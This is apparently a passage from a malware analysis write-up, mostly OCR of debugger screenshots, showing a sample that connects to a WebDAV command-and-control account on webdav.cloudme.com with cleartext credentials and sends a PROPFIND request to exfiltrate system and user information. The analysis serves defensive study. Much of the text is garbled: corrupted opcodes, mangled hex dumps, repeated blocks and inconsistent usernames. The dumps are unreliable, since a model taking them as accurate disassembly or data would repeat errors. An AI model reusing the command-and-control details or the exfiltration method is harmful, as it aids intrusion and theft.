BF 80 7C A0 9F 80 7C         MOU C E 9 17 80 7C         MOU C E 9 17 80 7C         BF 81 7C AD 2F 81 7C         G & C A 3E 86 7C         MOU FAUSTON         MOU FAUSTON         MOU C D F 33 91 7C         MI IIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIII	<b>7FF7FBF7 3007CCDC 7FF7FBF7 8007CCE0 7FF7FBF7 8007CCE0 9007CCE0 9007CCE4 9007CCE5 9007CCE6 9007CCF6 9007CCF6 9007CCF7 9007CCF8 9007CCF4 9007CCF5 9007CCF6 9007CCF6 9007CD00 9007CD04 9007CD05 9007CD06 9007CD07 9007CD08 9007CD09 9007CD00 9007CD00 9007CD00 9007CD00 9007CD00 9007CD00 9007CD00 9007CD00 9007CD11 90097CD14 9009000 9007CD15 9009000</b>	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD 7FF44EDF 7FF44EDF 7FF44ED7 7FF44ED7 7FF44ED7 7FF5405 <b>Address</b> 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078 7FF58078	50 F8 C5190000 59 8906 8BC7 ^ EB CA 8PFF 00 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 74 84 F1 80 7C 65 B4 80 7C 05 87 16 83 7C 6E 2B 81 7C 05 80 9B 91 7C 46 2C 81 7C 88 BA AE 80 7C 1A 1E 80 7C 85 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 F6 97 80 7C 98 C1 80 7C 04 27 CD 80 7C 98 C1 80 7C 04 57 B5 80 7C 77 4B 81 7C 64 67 A8 80 7C 77 4B 81 7C 64 69 76 76 76 76 77 4B 81 7C 64 80 76 76 80 7C 77 4B 81 7C 64 81 7C	POSH EAX         CALL 7PF468A1         POP ECX         MOU DWORD PTR DS: [ESI], EAX         MOU DWORD PTR DS: [ESI], EAX         MOU EAX, EDI         JMP SHORI 7FF44EAD         MOU EAX, EDI         JMP SHORI 7FF44EAD         MOU DYOR DY PTR DD 77         O 00 00 7B 99 80 7C         MI Woll Wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww	<b>7FF7FBF7 3007CCDC 7FF7FBF7 0007CCE0 7FF7FBF7 0007CCE0 7FF7BF7 0007CCE4 0007CCE5 0007CCF0 0007CCF4 0007CCF4 0007CCF4 0007CCF4 0007CCF4 0007CCF5 0004550 0007CCF4 0007CD04 0007CD05 0007CD06 0007CD07 0007CD08 0007CD04 0007CD10 0007CD14 0007CD14 0007CD14 0007CD14 0007CD14 0007CD14 0007CD14 0007CD15 0007CD16 0007CD16</b>	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD 7FF44EDF 7FF44EDF 7FF44ED7 7FF44ED7 7FF44ED7 7FF54078 7FF58078	50 E8 C5190000 59 8906 8BC7 ^ EB CA 9BEF 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 7C 84 91 80 7C 65 B4 80 7C 7C 87 16 83 7C 6E 2B 81 7C 0I A4 00 91 7C B8 97 80 7C 65 80 9B 91 7C 46 2C 81 7C 88 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 92 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 29 8C 80 7C 54 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 29 8C 7C 56 FD 49 84 7C 29 8C 7C 56 FD 49 84 7C 23 31 81 7C 56 FD 49 84 7C 23 31 81 7C 56 FD 49 84 7C 29 8C 7C 56 FD 49 84 7C 26 98 80 7C 56 FD 49 84 7C 26 98 7C 80 7C 80 FD 40 7C 80 7C 80 7C 80 7C 80 FD 40 7C 80 7C 80 7C 80 7C 80 7C 80 FD 40 7C 80 7	POSH EAX         CALL 7PF468A1         POP ECX         MOU DWORD PTR DS: [ESI], EAX         MOU DWORD PTR DS: [ESI], EAX         MOU DWORD PTR DS: [ESI], EAX         MOU EAX, EDI         JMP SHORT 7FF44EAD         MOU DYO DYO BA 7F DD 77         MOU DYO DYO BA 7F DD 77         O 00 00 07 75 99 80 7C         MI Woll Wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww	<b>7FF7FBF7 3037CCDC 7FF7FBF7 3007CCE0 7FF7FBF7 8007CCE0 7FF7FBF7 8007CCE0 9007CCE4 9007CCE5 9007CCF0 9007CCF4 9007CCF4 9007CCF5 9007CCF6 9007CCF7 9007CCF6 9007CCF7 9007CD04 9007CD05 9007CD14 9007CD14 9007CD14 9007CD14 9007CD14 9007CD14 9007CD14 9007CD14 9007CD15 9007CD14 9007CD15 9007CD14 9007CD14</b>	
7FF44ED6 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF5407 8 7FF58078	50 E8 C5190000 59 8906 8BC7 • EB CA 9RFF Hex dump 00 00 00 00 00 00 00 00 00 89 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C C1 81 9F 80 7C 65 B4 80 7C C1 B7 16 83 7C 6E 2B 81 7C 01 A4 00 91 7C B8 97 80 7C 65 80 9B 91 7C 46 2C 81 7C 88 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 23 31 81 7C 55 FF 49 80 7C 77 4B 81 7C 64 B7 A4 80 7C 2E 93 80 7C 64 B7 A4 80 7C 2E 93 80 7C 63 88 9C 80 7C BD 04 91 7C 38 12 18 80 7C 1E 0C 81 7C 64 12 18 80 7C 1E 0C 81 7C 64 13 80 7C 1E 0C 81 7C 64 14 7C 64 15 80 7C 1E 0C 81 7C 64 15 80 7C 80 7C 80 9C 72 80 12 18 80 7C 1E 0C 81 7C 64 13 80 7C 1E 0C 81 7C 64 14 7C 64 15 80 7C 1E 0C 81 7C 64 15 80 7C 80 7C 80 9C 7C 80 15 80 7C 80 7C 80 9C 7C 80 15 80 7C 80 7C 80 7C 80 15 80 7C 80 7C 80 7C 80 15 80 7C 80 7C 80 80 7C 80 7C 80 15 80 7C 80 7C 80 7C 80 7C 80 15 80 7C 80 7C 80 7C 80 7C 80 7C 80 15 80 7C 80 15 80 7C	POSH EAX CALL       ?PF46881 POP ECX         MOU DWORD PTR DS: [ESI], EAX         MOU EAX, EDI JMP SHORT ?FF44EAD         MOU EAX (C) COULD (C)	<b>7FF7FBF7 3007CCDC 7FF7FBF7 8007CCE0 7FF30000 9007CCE0 7FF30000 9007CCE3 9000000 9007CCE4 9000000 9007CCE5 900000 9007CCF6 900000 9007CCF7 9000 9007CCF8 90004550 9007CCF6 900411D0 9007CD00 471D961E 9007CD04 9000000 9007CD14 90002000 9007CD14 90026000 9007CD15 9000000 9007CD16 900014E13 9007CD24 90001000 9007CD28 90028000 9007CD28 90028000</b>	
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDC 7FF44ED1 7FF44ED1 7FF544E1 7FF57F8 7FF57F8 7FF58088 7FF58108 7FF58148 7FF58148 7FF58148	50 E8 C5190000 59 8906 8BC7 • EB CA SREF Hex dump 00 00 00 00 00 00 00 00 00 89 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 72 44 F1 80 7C 65 B4 80 7C 71 B7 16 83 7C 6E 2B 81 7C 01 A4 00 91 7C B8 97 80 7C 05 80 9B 91 7C 46 2C 81 7C 85 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 23 31 81 7C 30 FA CA 81 7C 17 0E 81 7C 55 FD 49 84 7C 23 31 81 7C 65 FD 49 84 7C 23 31 81 7C 65 FD 49 84 7C 23 31 81 7C 65 FD 49 84 7C 26 98 C1 80 7C 56 FF 85 80 7C 77 4B 81 7C 64 87 A4 80 7C 2E 93 80 7C 85 FF 85 80 7C 77 4B 81 7C 63 88 9C 80 7C BD 04 91 7C 38 12 18 80 7C 1E 0C 81 7C 63 38 AC 81 7C 1F 26 81 7C 92	POSH EAX CALL       7FF46881 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI JMP SHORT ?FF44EAD MOU FNT FNT         MOU EAX,EDI JMP SHORT ?FF44EAD MOU FNT FNT         MOU EAX,EDI JMP SHORT ?FF44EAD         MOU FNT FNT         MOU FNT FNT         980 7C DD 77 BA ?F DD 77 000 00 00 78 99 80 7C 10 90 7C 00 10 90 7C 10 90 7C 00 10 90 7C 10 90 7C 60 10 90 7C 10 90 7C 60 10 90 7C 10 90 7C 60 9F 80 7C 34 91 7C AD 2F 81 7C 534 91 7C AD 2F 81 7C 54 98 80 7C 6A 3E 86 7C 10 FF 81 7C AD 2F 81 7C 54 88 7C 75 FA 80 7C 54 17C DF 33 91 7C 54 18 80 7C 6A 3E 86 7C 10 2F 81 7C DF 33 91 7C 54 18 80 7C 6A 24 80 7C 54 18 80 7C 75 81 7C 54 18 80 7C 75 81 7C 54 18 80 7	<b>7FF7FBF7 3097CCDC 7FF7FBF7 8007CCE0 7FF7BF7 RET</b> 0007CCE4       0000001       0007CCE4         0007CCE5       0000000       0007CCE4         0007CCF0       000A1DD0       0007CCF4         0007CCF4       7FF30000       0007CCF6         0007CCF6       0004014C       0007CD04         0007CD04       0000000       0007CD04         0007CD05       210200E0       0007CD18         0007CD14       00026C00       0007CD18         0007CD15       0000100       0007CD14         0007CD14       0001000       0007CD14         0007CD128       0001000       0007CD24         0007CD24       00001000       0007CD22         0007CD25       1000000       0007CD2         0007CD26       1000000       0007CD26	
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDL 7FF44EDL 7FF44EDI 7FF542E3 <b>Address</b> 7FF57F8 7FF58028	50         50           59         8906           8BC7         *           *         EB CA           SREF         *           Hex dump         *           00         00         00         00         00         00         80           4D         49         DE 77         A8         7C         DD 77         60           81         9F         80         7C         54         13         91         7C         64           44         F1         80         7C         65         84         80         7C         61           81         9F         80         7C         E4         80         7C         61           44         F1         80         7C         65         84         80         7C         61           81         9F         65         84         80         7C         62           80         9B         91         7C         46         2C         81         7C         69           80         9C         17         08         80         7C         59         50         50         50	POSH EAX CALL       7FF46881 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI JMP SHORT ?FF44EAD MOU FNT FNT         97C DD ??       BA ?F DD ?? BA ?F SHORT ?FF44EAD MOU FNT FNT         98 80 ?C 75 FA 80 ?C BA 90 ?C A0 9F 80 ?C BA 91 ?C AD 9F 80 ?C SA 91 ?C AD 2F 81 ?C BA 80 ?C CD E4 80 ?C BA 80 ?C CD E4 80 ?C C 2F 81 ?C DF 33 91 ?C BA 80 ?C CA 32 86 ?C C 2F 81 ?C DF 33 91 ?C BA 80 ?C 46 24 80 ?C C 2F 81 ?C DF 33 91 ?C BA 80 ?C 46 24 80 ?C C 2F 81 ?C DF 33 91 ?C BA 80 ?C 46 24 80 ?C C 2F 81 ?C DF 33 91 ?C C 2F 31 ?C DF 35 91 ?C C 2F 31 ?C DF 35 91 ?C C 2F 31 ?C DF 35 91 ?C C 2F 31 ?C S5 11 81 ?C D 381 ?C F3 50 87 ?C C 2F 28 31 ?C F3 50 87 ?C C 2F 28 30 ?C F3 50 87 ?C C 2F 28 30 ?C F3 50 87 ?C C 2F 28 30 ?C F3 50 87 ?C C 2F 28 2F 28 ?C C 2F 28 2F 28 ?C 20 75 75 75 75 75 75 75 75 75 75 75 75 75	<b>7FF7FBF7 395%CCDC 7FF7FBF7 800</b> 7CCE0 <b>7FF7BF7 RET</b> 0007CCE4       0000001         0007CCE5       00000001         0007CCE6       00000001         0007CCF6       00000004         0007CCF7       00011D00         0007CCF8       00004014C         0007CCF6       0004014C         0007CCF7       0004014C         0007CD04       0000000         0007CD05       21020000         0007CD14       0000000         0007CD14       0000000         0007CD15       0000000         0007CD24       00014E13         0007CD24       0001400         0007CD25       1000000         0007CD26       1000000         0007CD27       0001400         0007CD24       0001400         0007CD30       00001400	

Finally we can see it's connecting to webday.cloudme.com and cleartext credentials in following screenshot.

71B24AC4 8BFF	MOU EDI, EDI	WNetAddConnection2A 🔨 Registers (FPU) 🔇
71B24AC6 55 71B24AC7 8BEC 71B24AC7 33C0 71B24ACB 50 71B24ACC 50 71B24ACC 50 71B24ACC 50 71B24ACE FF75 14 71B24ACE FF75 10 71B24AD1 FF75 10 71B24AD4 FF75 0 21B24AD4 FF75 0	PUSH EBP MOU EBP_ESP XOR EAX_EAX PUSH EAX PUSH EAX PUSH EAX PUSH EAX PUSH DWORD PTR SS:[EBP+14] PUSH DWORD PTR SS:[EBP+10] PUSH DWORD PTR SS:[ERP+C]	EAX 00E93E20 ASCII ECX 00E93E5 ASCII EDX 00E93E5 ASCII "amK00""" "amK00"""" "amK00""" "amK00""" "amK00""" "amK00"""" "amK00"""" "amK00"""" "amK00"""" "amK00"""" "amK00"""" "amK00""""""" "amK00""""""""""""""""""""""""""""""""""
Address Hex dump	ASCI I 🔥 0007D1C0	7FF51CC3 RETURN to 7FF51CC3 from 7FF57BB4
$\begin{array}{c c c c c c c c c c c c c c c c c c c $	$\begin{array}{c} 0 & 00 & 00 & 00 & 00 & 00 & 00 & 00 $	00073155         ASCII         "amK00         "- Password           000731557         ASCII         "binm4276"         -           0007000         ASCII         "binm4276"         -           0000000         00000000         -         -           00000000         00000000         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -           00000000         -         -         -         -           00000000         -         -         -         -           00000000         -         -         -         -           00000000         -         -         -         -           000000000         -         -
0007D308 00 00 00 00 D2 07 00 7 0007D318 70 42 F4 7F 25 98 B4 DE F 0007D328 B7 12 F3 7F 44 D3 07 00 5	C 3D E9 00 B4 D3 07 00	3 7FF51F6F <u>RETURN to 2FF51F6F from 7FF51C40</u> 00E93DA0 ASCII "http://webdav.cloudme.com/binm4276/CloudDrive/" 00E93E20 ASCII "binm4276"
0007D338 01 00 00 00 00 00 F7 7F H	E FF FF FF 40 F0 09 00 00	4 0007D22C

Malware tries to communicate with the user account created at the WebDAV C&C to exfiltrate system and user information.

PROPFIND /bimm4276/CloudDrive/OqkOVtkX9xqZ8tAAGt/pgpHnoeA68tQIBd\_T3 HTTP/1.1 Depth: 0 translate: f User-Agent: Microsoft-webDAV-MiniRedir/5.1.2600 Host: webdav.cloudme.com Content-Length: 0 Connection: Keep-Alive Authorization: Digest username="bimm4276", "/bimm4276/

Reference:

https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-

inception-framework%E2%80%9D-very-sophisticated-layered-malware